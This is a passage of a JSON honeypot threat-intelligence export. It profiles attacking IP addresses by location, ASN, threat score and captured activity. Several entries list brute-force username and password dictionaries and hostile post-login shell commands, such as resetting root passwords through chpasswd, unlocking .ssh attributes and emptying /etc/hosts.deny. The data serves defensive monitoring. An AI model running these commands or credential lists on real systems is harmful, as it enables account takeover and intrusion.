      "last_seen": "2026-04-04T18:23:08.262Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Moscow",
      "asn": 207713,
      "as_org": "Global Internet Solutions LLC",
      "threat_score": 2.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-04T18:22:10.215000+00:00",
        "last_seen_30d": "2026-04-04T18:24:13.660000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "41.251.88.173": {
      "attack_count": 2,
      "first_seen": "2026-04-29T16:08:13.067Z",
      "last_seen": "2026-04-29T16:08:27.536Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Morocco",
      "country_code": "MA",
      "city": "Agadir",
      "asn": 36903,
      "as_org": "MT-MPLS",
      "threat_score": 17.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-29T16:08:13.067000+00:00",
        "last_seen_30d": "2026-04-29T16:09:35.241000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "45.156.131.22": {
      "attack_count": 2,
      "first_seen": "2026-04-21T05:25:33.045Z",
      "last_seen": "2026-04-21T05:25:33.316Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Portugal",
      "country_code": "PT",
      "city": null,
      "asn": 21859,
      "as_org": "Zenlayer Inc",
      "threat_score": 55.2,
      "threat_level": "medium",
      "score_components": {
        "frequency": 11.8,
        "persistence": 17.5,
        "diversity": 12,
        "spread": 25,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 15,
        "days_active_30d": 21,
        "ports_targeted_30d": 6,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-04-05T12:06:00.524000+00:00",
        "last_seen_30d": "2026-04-25T09:05:00.093000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Suricata": 9,
        "Cowrie": 2,
        "Honeytrap": 2,
        "H0neytr4p": 1,
        "Tanner": 1
      }
    },
    "45.167.168.210": {
      "attack_count": 2,
      "first_seen": "2026-04-01T05:20:10.551Z",
      "last_seen": "2026-04-01T05:20:41.948Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Argentina",
      "country_code": "AR",
      "city": "Trevelin",
      "asn": 267738,
      "as_org": "Global Net S.R.L",
      "threat_score": 1.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-01T05:20:10.551000+00:00",
        "last_seen_30d": "2026-04-01T05:21:45.547000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "47.238.236.74": {
      "attack_count": 2,
      "first_seen": "2026-04-21T16:40:13.345Z",
      "last_seen": "2026-04-21T16:40:44.936Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd.",
      "threat_score": 16.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-21T16:40:13.345000+00:00",
        "last_seen_30d": "2026-04-21T20:01:21.072000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Suricata": 6,
        "Cowrie": 2
      }
    },
    "64.225.100.217": {
      "attack_count": 2,
      "first_seen": "2026-04-01T07:15:36.295Z",
      "last_seen": "2026-04-01T07:15:36.296Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 3.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.0,
        "persistence": 2.5,
        "diversity": 6,
        "spread": 15,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 20,
        "days_active_30d": 3,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-01T03:50:05+00:00",
        "last_seen_30d": "2026-04-03T18:14:19.021000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Suricata": 12,
        "Honeytrap": 6,
        "Cowrie": 2
      }
    },
    "72.27.185.84": {
      "attack_count": 2,
      "first_seen": "2026-04-29T22:53:48.103Z",
      "last_seen": "2026-04-29T22:54:01.101Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Jamaica",
      "country_code": "JM",
      "city": "Montego Bay",
      "asn": 30689,
      "as_org": "FLOW",
      "threat_score": 17.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-29T22:53:48.103000+00:00",
        "last_seen_30d": "2026-04-29T22:55:01.765000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "83.239.105.190": {
      "attack_count": 2,
      "first_seen": "2026-04-10T00:17:23.901Z",
      "last_seen": "2026-04-10T00:17:37.857Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": null,
      "asn": 25490,
      "as_org": "Rostelecom",
      "threat_score": 5.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-10T00:17:23.901000+00:00",
        "last_seen_30d": "2026-04-10T00:18:44.460000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "86.31.32.180": {
      "attack_count": 2,
      "first_seen": "2026-04-06T05:55:55.938Z",
      "last_seen": "2026-04-06T05:56:09.116Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "Birmingham",
      "asn": 5089,
      "as_org": "Virgin Media",
      "threat_score": 3.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-06T05:55:55.938000+00:00",
        "last_seen_30d": "2026-04-06T05:58:14.100000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "91.80.187.161": {
      "attack_count": 2,
      "first_seen": "2026-04-04T16:43:30.462Z",
      "last_seen": "2026-04-04T16:43:43.486Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Italy",
      "country_code": "IT",
      "city": null,
      "asn": 30722,
      "as_org": "Fastweb",
      "threat_score": 2.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-04T16:43:30.462000+00:00",
        "last_seen_30d": "2026-04-04T16:44:47.438000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "96.246.84.212": {
      "attack_count": 2,
      "first_seen": "2026-04-18T00:33:43.267Z",
      "last_seen": "2026-04-18T00:34:15.695Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Sayville",
      "asn": 701,
      "as_org": "Verizon Business",
      "threat_score": 11.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-18T00:33:43.267000+00:00",
        "last_seen_30d": "2026-04-18T00:35:29.959000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "41.142.215.250": {
      "attack_count": 2266,
      "first_seen": "2026-04-02T00:54:15.976Z",
      "last_seen": "2026-04-03T00:51:20.097Z",
      "sessions": 755,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version"
      ],
      "country": "Morocco",
      "country_code": "MA",
      "city": "Meknes",
      "asn": 36903,
      "as_org": "MT-MPLS",
      "threat_score": 4.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 30,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 4048,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-02T00:54:15.976000+00:00",
        "last_seen_30d": "2026-04-03T00:52:29.510000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2266,
        "Suricata": 1782
      }
    },
    "43.157.88.66": {
      "attack_count": 1896,
      "first_seen": "2026-04-17T20:13:46.491Z",
      "last_seen": "2026-04-18T13:13:36.492Z",
      "sessions": 383,
      "ports": [],
      "usernames_attempted": [
        "root",
        "oracle",
        "es",
        "user",
        "admin",
        "flask",
        "ftpuser",
        "app",
        "esuser",
        "ftp",
        "git",
        "gitlab",
        "guest",
        "hadoop",
        "oscar",
        "sonar",
        "test",
        "wang",
        "dev",
        "dolphinscheduler"
      ],
      "passwords_attempted": [
        "123456",
        "123",
        "abc123",
        "1",
        "1234",
        "!QAZ@WSX",
        "111111",
        "12345678",
        "admin",
        "password",
        "!Q@W3e4r",
        "!qaz@WSX",
        "123321",
        "1234567890",
        "1Q2W3E4R",
        "1q2w3e4r",
        "1qaz2wsx",
        "1qaz@WSX",
        "1qaz@wsx",
        "1qazXSW@"
      ],
      "commands_executed": [
        "uname -s -v -n -r -m"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version",
        "cowrie.client.kex",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 132203,
      "as_org": "Tencent Building, Kejizhongyi Avenue",
      "threat_score": 26.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 30,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 2690,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-17T20:13:46.491000+00:00",
        "last_seen_30d": "2026-04-18T13:15:34.314000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 1896,
        "Suricata": 794
      }
    },
    "176.65.139.153": {
      "attack_count": 1260,
      "first_seen": "2026-04-24T14:17:53.522Z",
      "last_seen": "2026-04-24T14:56:53.704Z",
      "sessions": 252,
      "ports": [],
      "usernames_attempted": [
        "root",
        "deploy",
        "ubuntu",
        "admin",
        "student",
        "testuser",
        "user",
        "alex",
        "ali",
        "bot",
        "debian",
        "deployer",
        "dev",
        "ftpuser",
        "jenkins",
        "minecraft",
        "oracle",
        "steam",
        "test",
        "administrator"
      ],
      "passwords_attempted": [
        "123456",
        "123",
        "12345",
        "12345678",
        "1qaz@WSX",
        "P@ssw0rd",
        "admin123",
        "password",
        "1234",
        "123root",
        "Aa123456",
        "admin",
        "airflow",
        "alex123",
        "arthur",
        "debian",
        "p@ssw0rd",
        "q1w2e3r4",
        "root",
        "test"
      ],
      "commands_executed": [
        "uname -s -v -n -r -m"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Luxembourg",
      "country_code": "LU",
      "city": null,
      "asn": 214472,
      "as_org": "Offshore LC",
      "threat_score": 34.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 30,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 1777,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-24T14:17:53.522000+00:00",
        "last_seen_30d": "2026-04-24T14:57:56.224000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 1260,
        "Suricata": 517
      }
    },
    "196.28.242.198": {
      "attack_count": 732,
      "first_seen": "2026-04-01T06:17:06.899Z",
      "last_seen": "2026-04-30T04:28:27.633Z",
      "sessions": 88,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin",
        "ubuntu",
        "sammy",
        "user",
        "arthur",
        "bitnami",
        "bitrix",
        "david",
        "frappe",
        "ftp-test",
        "git",
        "musicbot",
        "oracle",
        "steam",
        "t",
        "test",
        "test1",
        "testuser"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "Aa112211.",
        "administrator",
        "!QAZ2wsx@123",
        "123",
        "123123",
        "123456",
        "123456...",
        "1234567",
        "123456789a!",
        "12345678m",
        "1234qwer1234",
        "123qaz12",
        "1qaz2wsx",
        "1qazxsw@",
        "20080808",
        "201314",
        "2468@Network!#%&",
        "2wsxcde34rfv"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"Sammy13!\\neYDFspzxnQ3t\\neYDFspzxnQ3t\\n\"|passwd",
        "echo \"asdf1234\\niMgovkgHsfD7\\niMgovkgHsfD7\\n\"|passwd",
        "echo \"root:0kdzopla8c08\"|chpasswd|bash",
        "echo \"root:VoMld0Vo1o18\"|chpasswd|bash",
        "echo \"root:VxOrQdaggcpC\"|chpasswd|bash",
        "echo -e \"Sammy13!\\neYDFspzxnQ3t\\neYDFspzxnQ3t\"|passwd|bash",
        "echo -e \"asdf1234\\niMgovkgHsfD7\\niMgovkgHsfD7\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Burkina Faso",
      "country_code": "BF",
      "city": null,
      "asn": 25543,
      "as_org": "Onatel",
      "threat_score": 66.7,
      "threat_level": "high",
      "score_components": {
        "frequency": 29.7,
        "persistence": 25,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 932,
        "days_active_30d": 30,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-01T06:17:06.899000+00:00",
        "last_seen_30d": "2026-04-30T04:29:34.617000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 732,
        "Suricata": 200
      }
    },
    "118.193.36.245": {
      "attack_count": 673,
      "first_seen": "2026-04-04T04:53:28.640Z",
      "last_seen": "2026-04-26T02:53:57.526Z",
      "sessions": 64,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "test",
        "deploy",
        "ubuntu",
        "postgres",
        "n8n",
        "user",
        "wp-user",
        "admin",
        "ali",
        "backend",
        "debian",
        "deployer",
        "hosting",
        "laura",
        "night",
        "npadmin",
        "odoo",
        "radix"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "102025",
        "123",
        "123123",
        "1234",
        "12345",
        "1234567",
        "12345_qwe",
        "159159",
        "A12345678",
        "A123456789**963",
        "A1234568",
        "Aa112211.",
        "AaAaAaAaAa12345",
        "Ali11!",
        "Huawei@1234",
        "N8n2",
        "P@$$w0rd",
        "P@SSWORD123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"102025\\nUtlQFnM9U9Wt\\nUtlQFnM9U9Wt\\n\"|passwd",
        "echo \"N8n2\\n0dDamyntIORF\\n0dDamyntIORF\\n\"|passwd",
        "echo \"admin12345\\nfy5lZ6r5FDgj\\nfy5lZ6r5FDgj\\n\"|passwd",
        "echo \"asdfghjkl\\nfNEFPdR72KxC\\nfNEFPdR72KxC\\n\"|passwd",
        "echo \"root:lCuWlNQ5uFTU\"|chpasswd|bash",
        "echo \"wp-user\\nqZDW1vyLlSNX\\nqZDW1vyLlSNX\\n\"|passwd",
        "echo -e \"102025\\nUtlQFnM9U9Wt\\nUtlQFnM9U9Wt\"|passwd|bash",
        "echo -e \"N8n2\\n0dDamyntIORF\\n0dDamyntIORF\"|passwd|bash",
        "echo -e \"admin12345\\nfy5lZ6r5FDgj\\nfy5lZ6r5FDgj\"|passwd|bash",
        "echo -e \"asdfghjkl\\nfNEFPdR72KxC\\nfNEFPdR72KxC\"|passwd|bash",
        "echo -e \"wp-user\\nqZDW1vyLlSNX\\nqZDW1vyLlSNX\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 52.2,
      "threat_level": "medium",
      "score_components": {
        "frequency": 29.1,
        "persistence": 19.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 816,
        "days_active_30d": 23,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-04T04:53:28.640000+00:00",
        "last_seen_30d": "2026-04-26T02:54:59.126000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 673,
        "Suricata": 143
      }
    },
    "193.24.211.95": {
      "attack_count": 668,
      "first_seen": "2026-04-08T07:36:42.765Z",
      "last_seen": "2026-04-11T01:37:46.489Z",
      "sessions": 132,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "test",
        "ftpuser",
        "ubnt",
        "user",
        "Admin",
        "administrator",
        "alex",
        "debian",
        "pi",
        "testuser",
        "user1",
        "1234",
        "12345",
        "123456",
        "RPM",
        "a",
        "adm",
        "admin1"
      ],
      "passwords_attempted": [
        "1234",
        "12345",
        "123456",
        "password",
        "1",
        "123",
        "admin",
        "12345678",
        "Admin",
        "admin1",
        "admin123",
        "dev",
        "pfsense",
        "test123",
        "123123",
        "123456789",
        "2wsx#EDC",
        "930920",
        "Admin123",
        "Exabyte"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": null,
      "asn": 215929,
      "as_org": "Data Campus Limited",
      "threat_score": 17.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 30,
        "persistence": 3.3,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 1073,
        "days_active_30d": 4,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-08T07:36:42.765000+00:00",
        "last_seen_30d": "2026-04-11T01:38:47.622000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 668,
        "Suricata": 405
      }
    },
    "20.193.130.202": {
      "attack_count": 592,
      "first_seen": "2026-04-15T12:58:23.430Z",
      "last_seen": "2026-04-17T08:52:31.260Z",
      "sessions": 60,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ubuntu",
        "deploy",
        "user",
        "zhangsan",
        "admin",
        "amir",
        "claude",
        "demo",
        "flip",
        "ftp1user",
        "git",
        "maman",
        "marcus",
        "media",
        "minecraft",
        "nodered",
        "oracle",
        "s"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "1234",
        "11111",
        "11111111",
        "1212312121",
        "12345",
        "123456789",
        "1234567890Qwertyuiop",
        "1QAZ2wsx!",
        "3edc4rfv",
        "Cloud12#$",
        "L3tM31n!",
        "Login1",
        "Oracle!2025",
        "Qazwsx12345!@#",
        "QweAsdZxc",
        "Root001@@",
        "Root111111$"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"123\\nnocrqkUU6uZJ\\nnocrqkUU6uZJ\\n\"|passwd",
        "echo \"Ubuntu2\\nlyZsU8uDMCCX\\nlyZsU8uDMCCX\\n\"|passwd",
        "echo \"root:CBTXHGG0VvNE\"|chpasswd|bash",
        "echo \"root:L390UJ9B37J3\"|chpasswd|bash",
        "echo \"root:yptcg9yCswaC\"|chpasswd|bash",
        "echo -e \"123\\nnocrqkUU6uZJ\\nnocrqkUU6uZJ\"|passwd|bash",
        "echo -e \"Ubuntu2\\nlyZsU8uDMCCX\\nlyZsU8uDMCCX\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Pune",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 24.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 28.6,
        "persistence": 2.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 730,
        "days_active_30d": 3,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-15T12:58:23.430000+00:00",
        "last_seen_30d": "2026-04-17T08:53:36.148000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 592,
        "Suricata": 138
      }
    },
    "45.175.37.29": {
      "attack_count": 530,
      "first_seen": "2026-04-12T13:38:05.987Z",
      "last_seen": "2026-04-22T16:05:02.488Z",
      "sessions": 59,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "deploy",
        "ubuntu",
        "abc",
        "admin",
        "claude",
        "oracle",
        "test",
        "admin1234",
        "ansibleuser",
        "bot",
        "caja01",
        "deployer",
        "frappe",
        "greg",
        "no-reply",
        "odoo",
        "pop",
        "rajesh"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "1",
        "12",
        "123",
        "123456",
        "123456asdf",
        "123zxcZXC",
        "1q2w3e4r.",
        "1qaz2wsx!@",
        "2wsx3edc$rfv",
        "Aa123456",
        "Admin8",
        "Claude31",
        "Frappe25",
        "Master123!",
        "Odoo@123",
        "Oracle8",
        "Qwerty123456Qwerty"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
